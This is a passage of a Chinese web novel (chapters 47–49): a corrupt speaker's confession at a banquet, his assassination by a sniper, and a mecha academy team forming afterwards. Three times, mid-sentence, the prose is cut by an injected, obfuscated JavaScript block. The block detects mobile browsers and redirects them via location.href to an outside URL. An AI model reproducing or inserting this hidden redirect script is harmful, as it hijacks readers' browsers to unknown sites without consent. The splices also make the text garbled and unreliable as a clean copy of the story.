宴会来到中后阶段,牛排、羊排、山鸡、火鸡等主菜被撤下,清爽可口的沙拉端上铺着洁白餐布的长桌。数以千计的香烛燃烧过半,芬芳的香气从中调进入尾调,这场宴会似乎就要落幕了。 蔬菜类菜肴之后还有甜品,甜品之后还有咖啡饮品。 林德的心脏扑通狂跳。 没有子弹,没有毒酒,没有刺客,他仍然是光鲜亮丽的下议院议长。 他是否领会错了那封邀请函的含义?他的表现是否取悦了举办晚宴的、在幕后观察他一举一动的宴会主人?他是不是改变了自己死亡的命运?那把达摩克利斯之剑……是否已经离开他的头顶? 林德小口小口地呼吸,压抑着急促、狂喜和微不可察的憎恨。 凯撒安静地观察林德的脸,拿起奶茶用力嘬了一大口,小半杯奶茶瞬间见了底。 “我讨厌勾兑饮品。”凯撒叹息一声,“但在这里,似乎只有劣质奶茶能让我保持愉快。” 林德放下了丧命于此的心理负担,一瞬间变得谈笑风生:“我认识一个商人,她似乎就是做养生饮品生意的,最近新研发出一款喝了不会胖的健康奶茶,我可以介绍她给你认识。” “哦,我很忙,但我可以考虑见一见她。”凯撒淡淡地说,“林议长,你知道的,除了今晚这场晚宴,我在三天后还要参加一场晚宴。和你们这场晚宴的主题不同,他们的主题是——和平。” 林德一怔。 “战争还是和平?这是个值得思考的问题。”凯撒招手唤来一位侍者,把喝见底的奶茶杯放到了空荡荡的托盘上,“联邦只有这两种声音,但战争是政治的延续,本质上,这是你们这些官员需要考虑的问题。” 战争还是和平? 战争还是和平? 战争还是和平? 林德僵硬地坐在座椅上,脊背不由得再次紧绷。 在凯撒宛如狮子般沉静的注视下,他后知后觉地意识到,自己又进入了一轮新的考验。 他作为飞镖盘的价值消失了,这场对话的含义不再是消遣,他变成了一个考生,手握参考答案,却不知道这份答案是否能得分。 “林议长,”凯撒沉声问,“你和你的同僚们选择了战争,我很好奇,驱使你做出这一选择的,到底是什么?” 47. 丧钟为谁而鸣(三) 林德僵坐在座椅上。 凯撒的眼瞳烨然如狮子,林德生不出一丝隐瞒的心思。但凯撒的问题尖锐又直白,这本该是个心照不宣的秘密,就像那些支持和平的人一样。 他为什么支持战争? 帝国覆灭后,数百个人类政权瓜分了帝国的遗产,包括但不限于土地疆域、资源财富、权力体系、文化遗产等等,而新生的联邦,是若干人类政权中最弱小的那一个。 林德正是出生于这样一个动荡的时代。 战争对他以及他那代人而言,就像贫穷和咳嗽一样司空见惯。 战争带来了苦难,毋庸置疑。但林德从一个贫民窟的穷小子一步步爬到下议院议长的高位之后,他竟然无法和小时候的自己共情。 战争多么美妙啊——它是一笔没有上限的生意! 他永远记得自己因为战争挖到的第一桶金。 那时,他还只是个小小的下议院议员。他对自己的人微言轻很有自知之明,更清楚以自己的地位,还称不上坐上了权力的餐桌,充其量不过站在餐桌边缘,吃两口大人物剩下的残羹冷炙罢了。 但一个下着瓢泼大雨的夜晚,一通电话打了过来。 “你不必知道我的名字,但新年的第一天,你们收到的那笔丰厚的奖金,就是我为你们发放的。”电话对面的人嗓音低沉,“看在这份恩情的份上,请你帮我做一件微不足道的小事。” 林德收到过那笔奖金,他以为那是政府的福利,但同事们语焉不详的解释让他留了个心眼。 如今,谜底向林德揭开。 电话那头的人没有透露他的姓名,但林德听过他的声音,他在十天前刚刚出狱,是某个黑手党的三把手。 黑手党为官员发放福利? 林德沉默,并且飞快接受了这一事实。 他问:“请问我需要做什么?” “三天后,议会将发起一项草案,请你投出赞同票。”电话对面的人答道。 咔哒,电话挂断。 那头的人似乎并不担心林德会录音,亦或正义地将他举报。 而林德的确没有这样做——那笔新年奖金太丰厚了,几乎抵得上他半年的工资。那笔奖金也解决了他的燃眉之急,让他可以在中央星租赁一间小小的公寓,而非狼狈地露宿街头。 三天后,议会书记员正式宣读法案标题。 那是一份有关战时特殊军需运输的草案,本质是走私合法化。 林德坐在自己的座位上,看着面前一红一绿两个投票键,余光盯着周围的同僚,发现他们都不约而同地按下了绿色按钮。 战争…… 走私…… 新年奖金…… 人类是羊群,只会跟着头羊走。 林德咽了咽唾沫,强撑住淡然的面色,轻轻按下了绿色的赞同键。 他并未因为那通电话获得任何许诺,那笔新年奖金不是他的专属,每一个政府官员都有。 他也并非一锤定音的大人物,他的那一票只会淹没在下议院的1521张表决票中。 他甚至没有任何过错,议员拥有赞同和否决两项权利,即使他按下赞同键,也仅仅代表他认为这项草案是合理的。 他只需要承受良心的谴责——走私合法化意味着变本加厉的剥削,有资本、有渠道的大商人收获了令人眼红的暴利,而普通民众连基本的生活物资都可能被垄断。 他投出了赞同票,意味着天平向不公平的那一侧倾斜。 但仅此而已了。 第二个入职的新年,林德收到了一大笔新年奖金,比去年更丰厚,抵得上他一整年的工资。 烟花在夜空中绽放,林德仰头眺望灯火通明的国会大厦,眼底流露出艳羡和向往。他踩过厚厚的积雪向小公寓走,路过报刊亭时,在报纸上看到了“工人跳楼讨薪”的新闻。 他只在那张报纸前驻足几秒,又更用力地踩着积雪离开。 他要往上爬! 他要成为众星捧月的主角,而非混在议员堆里、连名字都没人记得的小议员! 联邦在战争中飞速崛起,也在战争中伤痕累累。 林德很有自知之明,他只是趴伏在联邦身体上吸血的一只蠹虫,但混乱是上升的阶梯,既然和平无法为他带来利益,他为什么不选择战争? ——战争还是和平? ——战争! ——战争还是和平? ——战争! ——战争还是和平? ——战争! 林德坐在座椅上,背上的冷汗已经干透。他在凯撒足以洞悉灵魂的目光中,静静地细数着自己的罪孽。 他在每一个人生转折点都做出了最重要的选择,晋升之路坎坷而清晰。 当他真的如愿成为下议院议长时,他以为自己会满足,因为贫民窟的出身,他注定无法进入上议院,他已经走到了权力游戏的尽头。 但凯撒的问题重新勾起了他内心的声音。 他注定死去,不在今晚,也在未来,这是他以权谋私的代价。 但他并不满足。 他只是一盘小菜,一个飞镖盘,一个考生。 他的前途和生命依然捏在那些目高于顶的大人物的手里,比如面前的凯撒,又比如……那位梦想成为皇帝的总统。 凯撒炯炯地注视着林德,沉默不语。 林德重新恢复了舒展的坐姿,他抬起头,如同一个头悬铡刀却从不言败的断头国王:“我做了最正确的选择,仅此而已。” 没有什么救世主,他的命运皆由他书写! 如果他不够狠,他只会像任何一个贫民窟出身的穷小伙一样,在脏乱拥挤的后厨日复一日地刷着盘子! 他考上了大学,成为了议员,还晋升为了下议院议长,但他永不知足。 他是一头喂不饱的、追逐权力的恶兽,除非死神夺走他的生命,不然,他还是会做出和过去一模一样的决定,宛如吃下一颗有毒的糖果。 侍者用托盘端来一杯美酒,凯撒随手接过,浅抿一口后放在桌上。 而后,他说:“你很无趣。” 无趣。 这个评价比“贪婪”“自私”更加恶毒。 林德腾地起身。 死神的镰刀仍贴着他的脖颈,他心中所有被凝视、被掂量、被审判的恐惧,因为这句轻飘飘的评价顷刻间转化成了愤怒。 他伸出手指,颤抖着指向凯撒的面庞,厉声道:“你懂什么?” 凯撒看着他,安静不语。 “我付出了那么多,我牺牲了那么多!我像个小丑一样咬牙忍受着其他人的嘲笑和谩骂,一步一步爬到现在这个位子,而你——” 林德怆声道:“一个含着金汤匙长大、不知人间疾苦的小少爷,没有流过一滴汗,没有流过一滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371025|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血,就拥有了我做梦都不敢想象的一切!” 晚宴已经接近尾声,蔬菜类菜肴被撤下,精致的甜点一盘盘摆上了铺着白色餐布的餐桌。千支香烛燃烧了四分之三,香气飘散在灯火暖黄的宴会大厅中,十二扇巨大的玻璃窗反射着烛光和灯光,窗外是一个巨大的、以洁白石质围栏围起的露天阳台。 林德的声音尖利而清晰,犹如尖刀划开丝绸,让所有微笑寒暄的宾客投去了神色各异的视线。 林德沐浴在上百道目光中,宛如演员站在聚光灯下。 刹那间,豆大的冷汗再次千百倍地钻出皮肤,打湿了林德本已干透的后背。 凯撒看着林德,看着他保养得宜的脸上涌现出的丑陋、狰狞、扭曲的表情,双眸中没有一丝波澜。 “你很无趣。”凯撒说,“你辜负了战争的本义,你不配选择战争。” 林德一怔。 “混乱是上升的阶梯,这是你、我、在场的所有人、幕后冷眼旁观一切的操盘手,乃至那位总统深谙的真理。”凯撒收起二郎腿,第一次坐直了身子,“但你只敢像烦人的蚊蝇一样,趴伏在宿主身上浅啜一两口鲜血,你精打细算地规划着手中的每一张牌,你耽于这份混乱带来的机遇,但你——从未想过主宰它。” “我是奥古斯都的凯撒,但我并非天生就是凯撒。”凯撒直视林德的眼睛,“奥古斯都家主有许多个儿子,婚生或非婚生都有,但‘凯撒’只能有一个,我是踩着兄弟姐妹的尸骨坐上继承人的位子的。” “但我是因为想要成为奥古斯都家主,才选择成为凯撒的吗?不。” “我不是任何人,凯撒只是父亲、族人、世人对我的称呼。我享受竞争,享受因为竞争产生的伤痛、流血乃至死亡,当这竞争放大到两个政权之间,便叫做战争——这就是我选择战争的原因。” “但你,亲爱的林议长,你并不喜欢战争。” “你承受着道德的谴责,你忍受着上位的煎熬,你是为了摘取终点的苹果才踩上路上的荆棘的,如果你可以直接来到终点,你会毫不犹豫地跳过路上的一切苦难。” “你不是天生的战士,你是个无聊的野心家。” 林德像震惊地看着凯撒。 怎么会有人享受混乱?怎么会有人享受痛苦?怎么会有人享受死亡? 奥古斯都——这个庞然大物般的家族,到底孕育出了一群何等高傲的疯子? “……您让我感到震惊。”良久,林德轻声道,“联邦中,也许只有太子才能与您并肩。” 凯撒重新靠上椅背:“不,我比不过他。” 林德还没来得及说什么,“吱呀”一声轻响后,紧闭的门扉再次打开。 晚宴已经接近尾声,林德是最后一位迟来的客人,但此刻,竟有另一位客人姗姗来迟。 千只香烛已经燃到了尽头,芬芳的尾调不复馥郁,寡淡如窗外被细雨冲刷的空气。寒暄告别的宾客们已经做好了回家的准备,他们和林德一样,谁也没有料到那位客人的到来。 但当他们看清那位客人的脸庞时,所有人立刻收起了脸上的疑惑和不满,取而代之的是惶恐的敬畏。 两侧的长桌摆着香烛,烛火微弱,只余一汪凝固的蜡泪。头顶的水晶吊灯提供了大部分照明,暖黄的灯光照在莱茵雪白卷曲的长发上,犹如给油画刷上了一层罂粟籽油。 “我来迟了。诸位,夜安。”莱茵说。 48. 丧钟为谁而鸣(四) 莱茵是姗姗来迟的客人,却如同压台登场的主人。 那些言笑的宾客们本已结束会晤,却在莱茵登场的瞬间立刻围了上去,祈求获得和莱茵交谈的机会。 餐桌上的甜点和咖啡再次被补满,数千支燃尽的香烛换成了洁白的新烛,乐队奏响悠扬宛转的乐章,窗外细雨蒙蒙,但室内的气氛愈演愈烈,宛如往即将熄灭的壁炉里添了一大把新柴。 莱茵被簇拥着走动,每一个表情、每一句对话都恰到好处,他以教科书级别的礼仪和素养,从容地和每一位宾客或温和、或风趣地交谈。 他的出现直接改变了这场晚宴的意义,让它从一场聊胜于无的同好交流会,变成了可以向上攀爬的、通往权力的天梯。 莱茵,太子,总统的独子。 何等尊贵,何等荣耀,何等……令人神往。 凯撒仍坐在角落,巨大的、叶片有着龟背纹路的热带盆栽挡住了他的侧影。 林德谨慎地观察凯撒——他记得凯撒对莱茵的评价,凯撒说,自己比不过莱茵。 “我比不过他。”凯撒又冷不丁说,重复了刚才的结语,“林议长,你要去和他打个招呼吗?” 林德不知该点头还是摇头。 凯撒的话毫无自卑或黯然,语气平静得像在陈述事实。但一个狮子般耀眼、骄傲、金光闪闪的人,尤其他还是一位奥古斯都,无论怎样,都不该一见到莱茵就低下头颅。 去追逐,去战胜,去征服。 这才是奥古斯都的做派。 “你感到很新奇?你以为奥古斯都家族的人是一群蛮干的野兽?”凯撒轻笑一声,收起二郎腿站起身,端起只抿了一口的美酒,“不,你想错了,包括你在内的许多人都想错了。奥古斯都之所以是奥古斯都,只因为我们注定在战斗中变得强大,我们渴望鲜血、厮杀、死亡,因为我们知道,我们的力量必然用在咬断猎物的咽喉上。” “但莱茵不同。”凯撒说,“我看不到他的弱点,他虽然无趣,却足够完美——这样的人,我根本不想招惹他。” 林德怔怔地坐在座椅上。 他看着凯撒向莱茵走去,那位高贵又骄傲、纯粹又轻狂的奥古斯都后裔,还是第一次结束冷眼旁观,主动来到人群中心,只为和莱茵碰一杯酒。 凯撒和莱茵碰杯,一饮而尽后,走向了远处的露台。 十二扇巨型玻璃窗折射着昏黄温暖的烛光,他的背影迷蒙在玻璃上星星点点的倒影上,宛如旧电影中的主角悄然离场。 但林德顾不上思考凯撒的话。 他看到……莱茵正向自己走来! “夜安,林议长。”莱茵说。 莱茵已经结束了许多场寒暄,当他走向林德并说出“夜安,林议长”时,没人觉得意外——在其他人眼里,林德本就是这场宴会上无需多费心思的、不起眼的其中一个。 林德也是这样认为。 “夜安,太子。”林德说。 “请不要叫我太子,林议长。您是一位事业有成的前辈,依靠自己的努力成为了下议院议长,我不过受到父亲的荫蔽才被高看一眼,在您面前,我只是一个谦恭的学生。”莱茵主动向林德举杯。 林德有些怔然。 他还是第一次和莱茵单独相处,平日里,他总是和数个同僚一起与莱茵议事。 他也曾试图猜想,莱茵的真实性格会是怎样,因为一个人再怎么演技精湛,本性都如同丝绸下的锥子,注定难以遮掩。 但诚如凯撒所言,莱茵无趣,却足够完美。 一个完美的继承人,是父辈乃至家族意志的最佳代行人。莱茵之于总统,宛如品酒师手中最完美的那个酒杯。 林德深谙自己性格的弱点:他出身贫民窟,因贫穷而贪婪,因自卑而自傲。可莱茵只一眼就看穿了这一点,还特意用他最受用的谦卑态度与他交流。 而他,竟然生不出一丝被洞悉的恐惧。 莱茵和凯撒截然不同,凯撒是眈眈而视的狮子,而莱茵是一只有着柔软皮毛的白羊。 至于白羊裘下是什么,无人在意,莱茵完美的品质足以软化一切尖锐的质疑。 林德的脊背微不可察地放松。 莱茵仍举着酒杯,等待与林德碰杯。 林德回过神,有些慌忙地寻找桌上的酒杯,但端起那杯彩虹色鸡尾酒时,他不由得一阵窘迫——那杯酒不仅像女士的选择,还因冰块融尽,原本清晰的分层变得浑浊,活像一杯劣质彩色饮品。 “敬联邦,敬总统,敬林议长。”莱茵的微笑无懈可击。 “敬联邦,敬总统,敬……”林德犹豫片刻,道,“敬莱茵。” 莱茵的微笑更加温和了。 二人相视一笑,而后碰杯浅啜。因关系生疏而产生的坚冰开始融化,在莱茵的引导下,林德从角落的热带盆栽后走出,一步步走向被水晶灯照亮的、烛火通明的宴会中心。 上千只香烛开始滚落蜡泪,这场晚宴分明已经结束,却仿佛刚刚开始。 林德和莱茵并肩而行。 林德本是迟来的客人,是一盘小菜、一个飞镖盘和一名考生。他在踏入宴会时几乎无人在意,但因为莱茵的到来,他重新得到了其他宾客的关心和问候,宛如一个赤身裸体的人重新穿上衣服,融入了文明社会中。 “太子,林议长。”第一个宾客举杯。 “太子,林议长。”第二个宾客举杯。 “太子,林议长。”不知第多少个宾客举杯。 林德举起滑稽、浑浊的鸡尾酒,向前来问好的人礼貌致意。 他莫名充满了底气——莱茵站在他身边,还谦恭地称他“前辈”;他是风光无匹、前途无量的下议院议长;他手中掌握着巨大的权力。 这样的礼待,他本应该拥有。 他甚至有些陶醉了。 莱茵全程微笑,带着林德缓慢地在宴会厅里转圈。在大部分人都向林德举杯后,他盯着燃烧了四分之一的香烛,举着手中的空酒杯,一步一步向十二扇玻璃窗走去。 林德依然和莱茵并行。 他有些飘然却无比真诚地说:“感谢您,太子。” 莱茵仍然保持微笑:“为什么这么说?” “汉布格尔总统将您视作接班人,可您完全没有那些世家子弟高高在上、眼高于顶的通病,反而如此谦卑、优秀、完美。即便我是个贫民窟出身的穷小子,即便我对贵族和富人恨之入骨——就算当了下议院议长,这份憎恨也没消减半分——我对您也生不出一丝嫉妒。” 林德真诚地说。 这是他第一次对旁人说出肺腑之言,连他的妻子和孩子都没有听过,即便这只是他和莱茵的第一次独处。 莱茵缓慢地走着,手中举着空酒杯,十二扇玻璃窗倒映出星星点点的光斑。 他说:“您谬赞了。” “即使是凯撒,那位奥古斯都,也无法让我生出如此虔诚的心态。而他也很有自知之明,他在向您敬酒前,两次亲口对我说:他比不过您。” 林德讨好又揶揄地说。 莱茵的脚步毫无停顿:“正如他将我视作劲敌,我也视他为洪水猛兽。但他是个表达欲旺盛的人,对我的评价不会只有寥寥几句——他还对您说了什么?” “他还说……” 林德突然噤声。 莱茵停下了脚步,他们已经从宴会厅中心走到了一扇玻璃窗边,窗外可见巨大的露台,几对男女在花卉和植物的掩映中细声交谈,而凯撒正孤独地靠在洁白的雕花石质围栏上。 凯撒似乎在遥遥凝望着什么。 但窗外的细雨和窗上倒映的烛光模糊了一切,林德什么也看不清。 “请不要紧张。”莱茵微笑着说,“凯撒听不见我们的交流。” 林德收回落在凯撒背影上的视线,内心的飘然像被针扎的气球,砰地一声破灭。 他终于想起了自己的身份——他是一个因出身而注定只能在下议院打转的议长,议长的本质是官员,官员的本质是国家机器的齿轮,而国家机器……是总统的工具。 莱茵是总统的儿子,总统的儿子只会是总统。 一瞬间,林德变回了从前谨小慎微、战战兢兢的自己。 他有多痛恨自己这副模样,就有多熟练地演绎这副模样。他洗不掉的何止是贫民窟的出身?那些咬着牙向上爬的艰难和心酸,数十年里饱尝的冷眼和讥笑,还有再怎么努力、仕途也一眼望得到头的耻辱,都让心中那个光着脚、流着鼻涕的贫民窟小孩愈发挥之不去——那是他生命里最不堪回首的印记。 我要向上爬!林德狠戾又痛苦地想,我要一步一步往上爬!爬到那些高官子弟的头顶上!爬到那些把我当泥巴踩、当小丑取笑的贱人的头顶上! 莱茵站在林德面前,笑意浅浅,眼眸微弯——他是通天的梯子,是权力的钥匙。 而此刻,他正温和、专注又耐心地看着林德。 林德咽了咽唾沫,低声开口:“凯撒说……您没有弱点,无趣却完美,他根本不想招惹您。” 莱茵仍微笑着看他:“不,我有弱点。无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376865|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲无求的人才没有弱点,但三个月前,我的身上刚诞生了一个弱点。” ……什么? 林德还来不及细想,一道鸟鸣般尖锐的破空声突然划过他的耳畔。 一发狙击弹如同死神敲响的丧钟,将林德侧对着玻璃窗的脑袋射穿了一个大洞。 鲜血如水花般炸开,五步之内溅满血渍,莱茵的脸和礼服也溅上点点猩红。他的礼服和长发原本洁白如羊毛,但此刻,浑身是血的他活像一只从地狱爬出的恶鬼。 没人知道他洁白的羊裘下藏着什么,除非他亲自脱下那身羊裘。 宴会上的宾客陷入短暂的死寂,随即争先恐后地尖叫逃离。浑身是血的莱茵安静地站在原地,看着死不瞑目的林德倒在地上,鲜血从炸开的脑袋里汩汩流出。 凯撒从露台走进大厅,手中握着一只沾满雨水的空杯:“你早知道她会开枪?” “她不会错过这次复仇的机会,无论这对她是礼物还是陷阱。”莱茵没去擦脸上和身上的血,笑容却依旧无懈可击——这让他再次披上了那身短暂脱下的“羊裘”,“三个月前,在那颗荒凉的矿星上,我第一眼看到她时,就知道她是这样的人。” 凯撒望向窗外。 华美巨大的玻璃窗已裂开一个大洞,冷风裹着夜雨呼啸灌入,十四公里外那座红色观光塔,也彻底笼进了雾一般迷蒙的雨幕里。 “联邦要乱了。”凯撒说。 他在兴奋,他渴望战斗、流血和牺牲——他渴望战争。 “联邦要乱了。”莱茵说。 他很平静,他依然完美、优秀、谦卑——他仍是太子。 夜雨凄冷,仿佛万千丧钟在耳畔奏响。郗灵抹去脸上的雨水,把淋湿的狙击枪背到身后,向一旁目瞪口呆的凯兰伸出一只手。 “跟我走,”她说,“我们该回去了。” 我们。 她说,我们。 这里没有灯光、烛光或日光,连月光都被雨水遮蔽。凯兰按住砰砰狂跳的心脏,鬼使神差地握住了郗灵的手,半句“接下来去哪”都没问。 郗灵轻轻一笑,猛地把凯兰往自己这边一拽,随即向后仰倒。 两人从观光塔塔顶纵身坠落,而十四公里外,出警的机甲正铺天盖地朝这边赶来。 发丝向上翻飞,凯兰一眨不眨地盯着郗灵的眼睛。 那是一双怎样的眼睛啊!猫一般桀骜,兽一般不羁,野性生灵一般充满原始的张力。 如同一个自由的、无法被驯服的怪物。 机甲钮散发出微弱的白光,龙姬在冰冷雨幕中展开壮美的平衡翼。它没有制造任何动静,如一只静谧的幽灵,悄无声息地离开了这里。 半分钟后,出警的机甲纷纷在观光塔停落,警员们取出勘察工具,想要趁雨势还小时,提取犯罪者的痕迹。 瓢泼大雨顷刻倾泻而下! 机甲立刻为主人展开聚能护盾,将雨水格挡在外。警员们仰头盯着头顶的大雨——中央区的天气由伊甸全权控制,这样的大雨从未有过,即使在那个动荡的夜晚,也不曾需要如此滂沱的雨,来冲刷罪孽的血迹。 “收队吧,”警队队长说,“查不了了。” “为什么?”一个愣头青执拗地追问。 “等你真知道答案了,反而会希望自己从不知道。”队长答。 愣头青还想再问,却有人扯了扯他的袖子。他抿紧嘴,沉默着把话咽了回去,眼底满是不甘。 “能命令伊甸的人,只有总统、太子和元帅。”队长轻叹一声——他其实很欣赏这后辈的正义感,“你可以祈祷:祈祷今晚死去的人足够卑劣,祈祷这是一次披着黑暗外衣的正义猎杀,更祈祷……那个扣下扳机的人,就算尝过了权力的滋味,今后也仍愿意用法律守住自己的底线。” “这可能吗?”愣头青闷声问。 “万一呢?”队长答。 郗灵回到军校,翻窗进入宿舍,快速冲了个澡。浑身的雨水和杀意被温热的水流洗去,当她擦着头发走出浴室时,她又变回了一个乖巧的学生。 滴滴! 放在床头的光脑震动了两下。 猎杀林德时,郗灵没有携带光脑,她拿起光脑查看,发现凯撒在宴会期间给她发了无数条垃圾短信。但除了凯撒,还有另一个人发来了两条信息。 一条在晚宴开始时,一条在10秒钟前。 第一条:“夜安,你也来了吗?” 第二条:“你愿意让我加入你的队伍吗?我想跟随你参加联赛。我是莱茵。” 49. 五骄 是莱茵的短信? 夜雨朦胧的红色观光塔上,郗灵曾在瞄准镜中看见过莱茵,而莱茵又引导林德走进郗灵的狙击视野,无论有心还是无心,他都帮了郗灵一个大忙。 但现在不是聊天的时候。 郗灵撑开眼皮给欧白白发了条消息,脑袋沾上枕头就睡了过去。 那场远程猎杀消耗了她太多精力:夜晚,超远距离,还下着小雨。如此恶劣的狙击环境,她以趴伏姿态整整瞄准了4个小时。期间凯兰多次劝她回去,她都拒绝了。 林德敢取她的命,只有他死了,她才能心安。 天蒙蒙亮,军号响起。 郗灵只睡了不到5个小时,连滚带爬起床洗漱,用冷水冲了好几次脸才彻底清醒。配合墨菲完成机甲数据采集后,她特意在天上多兜了两圈,一落地,欧白白的消息就弹了出来。 【欧白白】:中午来老地方,我们商量下组队的事。 欧白白没说“老地方”是哪里,但郗灵想了想,觉得只会是那个地方。 郗灵在中午赶到奶茶店,见白漆剥落的桌子边围着四个人。 那只三条腿的瘸腿椅子正被渡鸦坐着,雪理和欧白白则各占一把好椅子,用小勺子一勺勺铲着咖啡顶上的雪顶,莱茵站在桌前,把几杯小甜水挨个摆到桌上。 现在的莱茵和宴会上判若两人。郗灵还记得,那发狙击弹射穿林德的头时,飞溅的鲜血溅在莱茵的脸上、身上,将他浑身染得血红。 莱茵温和、平静,甚至有些无趣,但那一刻,他脸上却浮现出堪称惊艳的杀意,仿佛温顺的白羊骤然亮出了漆黑的犄角。 郗灵安静坐下后,欧白白清了清嗓子。 “人都到齐了,我们就长话短说!”她说,“首先,我们的第一个目标,是成为本校的种子队——这样一来,我们就能直接保送晋级赛。” 军校机甲联赛三年一届,由五大军校轮流牵头举办,分为海选赛、晋级赛、决赛三个赛段。 作为主办方之一,维尔莱德军校拥有一个保送名额。未能成功保送的本校队伍,只能去参加残酷的海选,而每个扇区在海选里仅能争夺两个晋级名额。 联邦一共有十个扇区,每个扇区通过海选决出2支队伍,再加上五大军校各1支保送的种子队,最终共有25支队伍进入晋级赛。 “目前,我校一共有十七支校队竞争种子队。这看似比海选中每个扇区动辄上万支队伍的竞争轻松,但军校内的较量远比扇区海选激烈得多。我们必须在单轮淘汰赛中连胜,先获得和原定种子队打擂的资格,再战胜对方才能拿到名额。” “而且,相比其他校队,我们有非常明显的优势和劣势。” 欧白白不是第一次组建校队,对联赛赛制十分熟悉。 “我们的优势是——因为每支队伍只有五名选手,机甲师的个人战斗能力权重会被放大,而郗灵的战斗力我们有目共睹,只要建立起以她为核心的战术体系,成为种子队不成问题。” 龙姬欢快摇晃。 郗灵把龙姬摆在桌上,对主导全场的欧白白问道:“那么劣势呢?” “劣势是,我们冒险地启用了两名新生。”欧白白直言不讳,“你和雪理的同步率都很高,尤其是雪理,她的同步率至今都无法测量。这份未知带来了潜力,也带来了风险——你们的机甲驾驶经验注定不如学长丰富,遇到突发情况,战况可能会走向失控。” 雪理把咖啡上的奶油雪顶铲得干干净净,抬头道:“我可以学。” 顿了顿,她补充:“我学得很快,我不会拖后腿。” 欧白白把自己那杯咖啡推给雪理,上面还有很多雪顶。 她像是想开个恶趣味的玩笑,但最终只是甜美一笑:“这就是我们要讨论的第一个问题。” 雪理看着欧白白,表情认真。 “我们要把长板做更长,同时让短板彻底消失。距离海选结束还有一个月,种子队竞赛也会在海选期间开展,我们的时间不多了,我们需要大量的训练和磨合,而你注定是最辛苦的那一个。”欧白白说。 郗灵明白,欧白白口中的“辛苦”究竟意味着什么。 她和雪理都是机甲小白,虽有天赋,却缺乏经验。 但郗灵的“龙姬”是二代机甲,只需神经指令就能驾驶;而雪理的“塞壬”是一代机甲,单是驾驶台上的按键就有327个——引用叶厌青中校的原话:“即使是天才,要想熟练驾驶一代机甲,也至少需要半年时间。” 军训期间,新生们驾驶机甲飞上天空,不过是万千难关中的第一关。 塞壬发出轻柔的呓语,宛如水泡破裂。 雪理捧住塞壬,露出浅笑:“学姐,我能做到。” “我相信你能做到,一会儿我就把训练时间表列出来。但我们接下来要讨论的,是另一个更严峻的问题。”欧白白的目光转向莱茵。 莱茵迎上她的视线,欧白白轻咳一声,问道:“亲爱的会长,你身为上一届‘五骄’,为什么要打破传统,连续参加两届比赛?” 五骄! 郗灵惊了一下。 这段时间她高强度上网,可莱茵的星网百科介绍里,完全没提这一点。 五骄,全称“军校机甲联赛五大天骄”,指的是每届比赛中,个人积分排名前五的选手。 维尔莱德军校最鼎盛时,曾连续包揽两届五骄名单,相当于全队都登上了这份荣誉榜。 上一届五骄名额,恰好被五大军校各分走一个。 郗灵立刻在心里过了一遍名单,这五人分别是:莱茵·汉布格尔(维尔莱德)、凯撒·奥古斯都(圣罗兰)、卫惊鸿(银鹰)、炎琳(龙枪)、龙北星(阿瑞斯)。 其中,莱茵的个人积分呈断层式领先,第二名凯撒的积分只有他的三分之二。 “我能成为五骄,不只是因为个人能力。”莱茵谦虚地解释,“上一届比赛中,我的定位是‘指挥’,不能直接参与战斗,但因为我们全程没有败绩,所以我才有赚取个人积分的机会。” 郗灵听得入迷,却也生出一丝疑惑:“那你的老队友呢?你怎么不和他们组队?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382215|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渡鸦终于不再晃动屁股下的椅子,道:“我就是他的老队友。” “那还有三个呢?” “一个退学了,还有两个去世了。”莱茵平静地答,“联赛结束后,主脑突然失控。莉莉丝侥幸活了下来,但机甲同步率大幅下降,最终遗憾办理了退学。蓝鳞和西奥多陷入脑死亡,他们和其他一百多名脑死亡的军校生一起,被送去研究院救治,可最后送回来的……是两具脑袋被剖开的尸体。” “莉莉丝继承了她母亲的花店,每年开学季,她都会给母校送几十个花篮。蓝鳞和西奥多早就订婚了,他俩的订婚戒指,还是我们五个人当时一起挑的。”渡鸦补充道。 主脑失控…… 一百多条年轻的性命…… 郗灵下意识看向对面商铺的屋顶,那里卧着一只油光水滑、足以以假乱真的仿生猫,猫瞳里闪烁着幽暗的光。 墨菲和郗灵对视片刻,把脑袋偏了过去。 渡鸦眯眼盯猫。 郗灵咳嗽一声:“学姐,既然莱茵身为上一届的五骄,都选择再次参加联赛,那其他四位……是不是也参赛了?” 她虽然不认识卫惊鸿、炎琳和龙北星,可她和凯撒有过交集。 